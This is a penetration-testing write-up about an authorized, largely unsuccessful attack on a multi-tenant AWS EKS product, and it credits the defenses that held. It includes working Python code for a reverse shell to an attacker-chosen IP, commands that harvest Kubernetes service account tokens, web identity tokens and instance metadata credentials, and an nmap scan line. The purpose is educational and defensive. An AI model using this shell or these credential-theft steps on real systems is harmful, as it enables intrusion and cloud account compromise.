Cloud Security

Hacking an AWS hosted Kubernetes backed product, and failing

Cloud Security
Jun 2, 2022
8 min
Riyaz W

Tales from a recent pentest of a product hosted on the AWS cloud backed by Kubernetes (EKS) and a whole lot of secure design goodness that withstood our attack attempts.

Background

Our security teams typically test all kinds of applications, infrastructure, cloud services and API setups. We recently engaged with a customer who wanted us to perform a security review of a product deployed on AWS, with an AWS EKS backend. The product had a well-architected design and took security into consideration for its various features.

The product was designed to provide customers with an isolated environment so that developers could deploy applications from their GitHub accounts. Each customer who onboarded the product was assigned their own tenant. Soft multi-tenancy was used in the form of unique Kubernetes namespaces based on the GitHub organization name.

Our objective was to identify if there was any way to compromise the security of the product, the data of customers or gain access to the cloud provider environment where the product was hosted. Barring a few web application weaknesses, we were unable to find weaknesses that could be used to exploit the system and fulfil our objectives.

Here’s a rundown of our approach, various attacks we tried and the design considerations that worked against our attacker approach.

The Product

The product is designed to be a SaaS that allows developers to import code from GitHub repositories and deploy them on the Amazon EKS infrastructure. The Amazon EKS infrastructure is owned by our customer. The code deployment is done transparently to users of the system. The product’s front-end allows for customization of the imported environment and after a deployment is completed, presents a URL to which users can browse to now access their deployed code in an exclusive isolated environment.

An extremely simplified diagram of the product
Potential Attackers and Attack Surface

As security consultants on this project, we wanted to first identify potential vantage points for attackers. Once we had a fair understanding of the product and its architecture, we created a threat map of various locations the attackers could come from.

Here’s what the attacker vantage points looked like

  • Externally visible TCP/IP ports through AWS security groups
  • Web Application that the developer user persona uses to deploy their code
  • A user with shell access to a pod within EKS, irrespective of namespace isolation
  • AWS VPC that hosts the EKS nodes

For each of these vantage points, the attack surface was determined and a security evaluation of configuration, access, black box assessment and design review was performed.

We excluded a rogue product administrator as a threat, based on business requirements as any means of lowering attacker impact by an authorized rogue administrator from within AWS or EKS, would be based on process as technical limitations would do little to prevent an attack originating from within the infrastructure by an AWS or Kubernetes administrator.

Our Approach

Across the four vantage points that we identified; our approach was to ensure coverage by performing various configuration reviews and identify vulnerabilities that could be exploited to gain additional privileged access or access to data across the isolation boundaries that the product designers had created.

Here’s what we looked for and proceeded with our testing.

Externally visible TCP/IP ports through AWS security groups

We started with the most common “attack surface” on the Internet (or any network connected system for that matter). Identification of services to which you can connect at the TCP/IP layer allows for enumeration of service versions and potentially anonymous access.

A service can have an application layer authorization gate but if the underlying service version is vulnerable then the application layer could potentially be bypassed completely. A bad example would be a web application with an authentication page which you cannot bypass, but the underlying web server having a potential RCE that can be triggered by a large string sent using a PUT HTTP request.

We ran nmap scans to perform port and service discovery. The DNS lookup on the IP showed AWS Load Balancer usage and no other ports apart from the web app on TCP 443. Software and version fingerprinting did not yield any results.

I typically use the following to perform open port discovery and version identification on remote targets

nmap -Pn -p- -g80 -sV -A -open --max-retries 4 <target> -oA scan-output-dd-mm-yyyy

As the port scan showed only port 443 open and no interesting usable information from the service scans, we switched our attention to the web application.

Web Application that the developer user persona uses to deploy their code

From a web application security point of view, identifying application security issues that could break the security promise that the product provided was our next step.

Generally, for apps like these it is important to identify how user sessions were created, managed and destroyed and how the application enforces tenant isolation, if any. These, apart from our comprehensive set of application security checks, were used to identify any weaknesses in the web app.

As the application used GitHub SSO, there weren’t too many quirks we noticed. However, due to the way the authentication was managed by what we suspected was some sort of middleware, it was possible to make requests to fetch GitHub information, including info about private repositories, user information etc. and other app specific attributes, of other tenants. We were also able to identify other tenant identifiers that could then be used in other Insecure Direct Object References to retrieve additional information.

A user with shell access to a pod within EKS, irrespective of namespace isolation

This was the most prominent attack surface that the creators of the product were worried about. The question posed was, what could a malicious user see and access if they were to deploy an application that would give them remote code execution capabilities. Would the user be able to bypass the tenant isolation placed on the application? Could other services leak information once the attacker was in the pod?

To test this, we wrote a simple Django app, that when deployed would give us access to a reverse shell in the execution environment where the app is running.

HTML Code

__________________________________________________________________________________________

from distutils.log import error

import sys, socket,os,pty

from django.conf import settings

from django.urls import include, re_path

from django.http import HttpResponse

settings.configure(  

DEBUG=True,    

ROOT_URLCONF=__name__

)

def index(request):  

 if ('ip' in request.GET):      

      ip = request.GET['ip']        

      e = connectshell(ip)        return HttpResponse("Exception:" + str(e))

      else:        

       return HttpResponse('Hello World!')

def connectshell(ip):    

  try:      

       s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)        

       s.connect((ip,4242))        

       os.dup2(s.fileno(),0)        

       os.dup2(s.fileno(),1)        

       os.dup2(s.fileno(),2)        

       pty.spawn("/bin/sh")        

       s.shutdown(socket.SHUT_RDWR)      

       s.close()  

  except Exception as e:        

       return str(e)

urlpatterns = (  

           re_path(r'^$', index),

)

if __name__ == "__main__":

   from django.core.management import execute_from_command_line  

     execute_from_command_line(sys.argv)

view rawcognito-test-index-page.html hosted with ❤ by GitHub

________________________________________________________________________________________________

You can download the source and Dockerfile here — https://github.com/appsecco/django-rev-shell

With this shell access, we set about exploring the environment. Here’s a list of checks that you can follow, if you find yourself testing something similar.

1. What is in the pod environment? This can be obtained using the `env` command and usually yields app secrets and IP of the Kubernetes API server, location of the EKS web identity token, potential IP subnets, and location of other API services within EKS.

2. What other IP addresses and ports are accessible? We installed nmap on the container using apt-get and ran a full scan on the IP subnets that we identified from environment variables and the local routing table.

3. Can the Kubernetes API server be accessed anonymously or by impersonating another user using the Impersonate-User HTTP headers?

4. What privileges does the AWS Web Identity token have? This is in a file at /var/run/secrets/eks.amazonaws.com/serviceaccount/token and can be used to generate temporary session tokens using the following command

aws sts assume-role-with-web-identity --role-arn $AWS_ROLE_ARN --role-session-name tmpsession --web-identity-token file:///location-of-token-file --duration-seconds 3000

5. What privileges does the IAM role attached to the EKS nodes have? These credentials can be generated using the Instance Metadata endpoint within the container. As the container and node share the same network stack, it is possible to reach http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name. These temporary credentials can then be used to access services across the AWS cloud, if the IAM role is overly privileged.

6. What privileges does the Kubernetes service token have? A command alias was created using kubectl and the service account token found at /run/secrets/kubernetes.io/serviceaccount/token

alias k="kubectl --token=`cat /run/secrets/kubernetes.io/serviceaccount/token` --certificate-authority=/run/secrets/kubernetes.io/serviceaccount/ca.crt --server https://$KUBERNETES_SERVICE_HOST"k get pods --all-namespaces

7. What volume mounts exist within the container? Can any of them be used to access the underlying host?

8. Based on the access any of the tokens would return, additional information can be gathered or access to data can be achieved.

AWS VPC that hosts the EKS nodes

To mimic an attacker with access to another host in the same VPC as the EKS nodes, SSH access was provided to an Ubuntu machine within the same VPC.

Port scans yielded no data as the security groups for the EKS nodes were well configured.

What stopped our attacks?

Although our attack strategy of identifying attacker vantage points and related exposed attack surfaces was robust, various protection mechanisms, principles of least privileges and secure configuration prevented any major exploitable weakness from manifesting itself.

  1. The Kubernetes API server did not respond to anonymous access requests and was running a version that was not vulnerable to anything disclosed publicly. Even other Kubernetes services were restricted and required authentication.
  2. Pod security policies in place prevented cross namespace access. Although pod access was obtained as root, no amount of routing table updates led to network access simply because PSP operates transparently below the pod network layer.
  3. The Kubernetes service account had no privileges. Hence even after creating a working kubernetes configuration, no further access could be obtained.
  4. The AWS Web Identity role and the IAM role attached to the nodes had no useful privileges, preventing any escape to the AWS cloud layer from the pod. An attacker can easily use overly privileged roles to access the AWS cloud layer (EC2, S3, Lambda etc.).
  5. No volume mounts were misconfigured. The docker containers did not expose any underlying filesystem related misconfigurations that could be abused to leak information or gain access to underlying nodes.
  6. AWS Security groups were properly configured to prevent access from the Internet as well as from any instances that were running within the same VPC, thus reducing any network bound attack surface.

Overall, a defensive approach to the design, principle of least privileges and ensuring secure default configurations were used, led to a hardened environment that was the source of all our attacker frustration 😊

Conclusion

A SaaS product designed to run user provided code in namespace isolated containers on AWS EKS was security tested. Apart from a few web app related vulnerabilities, no major exploitable security weakness was discovered. The hardened configurations, minimum privileges of tokens and credentials, proper authentication and authorization controls within EKS and hardened security groups created a secure environment.

This was an example of a well-designed, secure product and we had fun attempting to break its security, failing and learning from the assessment.

Until next time, happy hacking!!

References

HAZE WEBFLOW TEMPLATE

Build a website that actually performs better.

1
Lorem ipsum dolor sit amet consectutar
2
Lorem ipsum dolor sit amet consectutar
3
Lorem ipsum dolor sit amet consectutar